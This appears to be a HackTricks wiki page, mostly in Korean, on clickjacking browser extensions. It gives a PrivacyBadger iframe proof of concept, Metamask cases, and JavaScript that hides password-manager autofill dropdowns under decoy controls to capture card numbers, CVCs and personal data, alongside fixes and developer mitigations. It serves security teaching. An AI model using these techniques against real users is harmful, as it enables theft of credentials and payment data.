BrowExt - ClickJacking
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
기본 정보
이 페이지는 브라우저 확장(Extension)의 ClickJacking 취약점을 악용하는 방법을 다룹니다.
ClickJacking이 무엇인지 모른다면 다음을 확인하세요:
확장(extensions)은 manifest.json 파일을 포함하며, 해당 JSON 파일에는 web_accessible_resources라는 필드가 있습니다. 다음은 the Chrome docs에서 이에 대해 설명한 내용입니다:
이러한 리소스들은 웹페이지에서
chrome-extension://[PACKAGE ID]/[PATH]형태의 URL을 통해 접근 가능하며, 이는extension.getURL method로 생성할 수 있습니다. 허용 목록에 등재된 리소스는 적절한 CORS 헤더와 함께 제공되므로 XHR과 같은 메커니즘을 통해 이용할 수 있습니다.1
브라우저 확장 내의 web_accessible_resources 는 단순히 웹을 통해 접근 가능한 것만이 아니라 확장의 고유 권한으로 동작합니다. 이는 다음과 같은 동작이 가능함을 의미합니다:
- 확장의 상태 변경
 - 추가 리소스 로드
 - 브라우저와 어느 정도 상호작용
 
하지만 이 기능은 보안 위험을 초래합니다. 만약 web_accessible_resources 내부의 리소스가 중요한 기능을 포함하고 있다면, 공격자는 해당 리소스를 외부 웹페이지에 임베드할 수 있습니다. 사용자가 해당 페이지를 방문했을 때 무심코 이 임베디드 리소스를 활성화하면, 확장의 권한과 기능에 따라 의도치 않은 결과가 발생할 수 있습니다.
PrivacyBadger 예제
PrivacyBadger 확장에서는 skin/ 디렉터리가 다음과 같이 web_accessible_resources로 선언된 것과 관련된 취약점이 확인되었습니다 (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
이 구성은 잠재적인 보안 문제를 초래했습니다. 구체적으로, 브라우저의 PrivacyBadger 아이콘과 상호작용할 때 렌더되는 skin/popup.html 파일이 iframe 안에 포함될 수 있었습니다. 이 포함은 사용자를 속여 의도치 않게 "Disable PrivacyBadger for this Website"를 클릭하도록 유도하는 데 악용될 수 있었습니다. 이러한 조치는 PrivacyBadger 보호를 비활성화하여 사용자의 프라이버시를 위협하고 추적이 증가할 가능성이 있습니다. 이 공격의 시각적 데모는 ClickJacking 비디오 예제에서 확인할 수 있습니다: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
이 취약점을 해결하기 위해 단순한 해결책을 적용했습니다: web_accessible_resources 목록에서 /skin/*을 제거했습니다. 이 변경으로 skin/ 디렉터리의 콘텐츠가 웹 접근 가능한 리소스를 통해 접근되거나 조작되지 않도록 보장하여 위험을 효과적으로 완화했습니다.
수정은 간단했습니다: web_accessible_resources에서 /skin/*을 제거.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
A metamask의 ClickJacking에 대한 블로그 게시물은 여기에서 확인할 수 있습니다. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):
.png)
Metamask 확장 프로그램에서 수정된 또 다른 ClickJacking 사례는 사용자가 “web_accessible_resources”: [“inpage.js”, “phishing.html”] 때문에 페이지가 phishing으로 의심될 때 Click to whitelist할 수 있었다는 것입니다. 그 페이지가 Clickjacking에 취약했기 때문에, 공격자는 피해자가 눈치채지 못하게 정상적인 것을 보여주어 Click to whitelist를 클릭하게 유도한 뒤 다시 phishing 페이지로 돌아가 해당 페이지가 whitelist되도록 악용할 수 있었습니다.
Steam Inventory Helper Example
다음 페이지에서 브라우저 확장 프로그램의 XSS가 어떻게 ClickJacking 취약점과 연쇄되었는지 확인하세요:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
고전적인 확장 프로그램 clickjacking은 잘못 구성된 web_accessible_resources를 악용해 권한 있는 HTML을 iframe으로 로드하고 사용자 클릭을 유도합니다. 새로운 유형인 DOM-based extension clickjacking은 password managers가 페이지 DOM에 직접 주입하는 autofill dropdowns을 표적으로 삼아, 그것을 클릭 가능 상태로 유지하면서 숨기거나 가려버리는 CSS/DOM 트릭을 사용합니다. 한 번의 강제 클릭으로 저장된 항목을 선택하고 민감한 데이터를 공격자가 제어하는 입력 필드에 채워 넣을 수 있습니다.
Threat model
- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
 - 피해자는 password manager 확장 프로그램을 설치하고 잠금 해제한 상태입니다(명목상 잠겨 있어도 일부 autofill이 동작할 수 있음).
 - 최소 하나의 사용자 클릭이 유도됩니다(오버레이된 쿠키 배너, 대화상자, CAPTCHAs, 게임 등).
 
Attack flow (manual autofill)
- 보이지 않지만 포커스가 가능한 form 삽입 (login/PII/credit-card 필드).
 - 입력 필드에 포커스를 줘서 확장 기능의 autofill dropdown을 해당 필드 근처에 불러옵니다.
 - 확장 UI를 숨기거나 가리되 상호작용 가능 상태는 유지합니다.
 - 숨겨진 dropdown 아래에 그럴듯한 컨트롤을 정렬하여 항목 선택을 유도하는 클릭을 강제합니다.
 - 공격자 폼에서 채워진 값을 읽어내어 유출합니다.
 
How to hide the autofill UI
- Extension element
 - Root element opacity (generic):
 
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- open ShadowRoot 내부의 자식 요소 (동적 태그, 내부 iframe 숨기기):
 
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- 부모 요소
 - BODY/HTML opacity 기법으로 페이지가 정상적으로 보이는 동안 extension UI를 보이지 않게 만들기 (예: 스크린샷 배경):
 
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- 오버레이
 - 부분 오버레이: 드롭다운이 클릭 가능하도록 몇 픽셀만 보이게 하고 나머지를 가린다 (공격자 오버레이가 DOM에서 마지막 요소이며 최대 z-index인지 확인하거나 Top Layer를 사용).
 - pointer-events:none을 사용한 전체 오버레이로 클릭이 숨겨진 드롭다운으로 통과하게 한다; Popover API로 지속적으로 유지:
 
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
피해자 클릭 위치 지정
- Fixed placement: 숨겨진 드롭다운을 신뢰할 만한 컨트롤(예: “쿠키 수락”, “닫기” 또는 CAPTCHA 체크박스) 아래에 고정 배치합니다.
 - Follow-mouse: 포커스된 입력 요소를 커서 아래로 이동시켜 드롭다운이 커서를 따라오게 하고; 주기적으로 포커스를 재설정하여 어디를 클릭해도 단일 클릭으로 항목이 선택되게 합니다:
 
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
영향 및 시나리오
- Attacker-controlled site: 한 번의 강제 클릭으로 도메인에 국한되지 않는 신용카드 정보(번호/유효기간/CVC)와 개인 정보(이름, 이메일, 전화번호, 주소, DOB)를 유출할 수 있습니다.
 - Trusted site with XSS/subdomain takeover/cache poisoning: 다중 클릭으로 자격증명(username/password)과 TOTP를 탈취할 수 있습니다. 많은 매니저가 관련 하위 도메인/상위 도메인(예: 
*.example.com)에 걸쳐 autofill을 수행하기 때문입니다. - Passkeys: RP가 WebAuthn 챌린지를 세션에 바인딩하지 않으면 XSS가 서명된 assertion을 가로챌 수 있습니다; DOM-based clickjacking은 passkey 프롬프트를 숨겨 사용자의 확인 클릭을 유도합니다.
 
제한 사항
- 최소한 하나의 사용자 클릭과 적절한 픽셀 정렬이 필요합니다(현실적인 오버레이는 클릭 유도를 쉽게 만듭니다).
 - 자동 잠금/로그아웃은 악용 시간을 줄입니다; 일부 매니저는 “locked” 상태에서도 여전히 autofill을 수행합니다.
 
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
 - Resist CSS tampering: prefer Closed Shadow DOM and monitor with 
MutationObserverfor suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable 
pointer-events:none, and useelementsFromPoint()to detect occlusion; close UI if overlays exist. - Detect suspicious 
<body>/<html>opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3 
web_accessible_resourcesmatchesnarrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none'. 
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
 - https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
 - DOM-based Extension Clickjacking (marektoth.com)
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks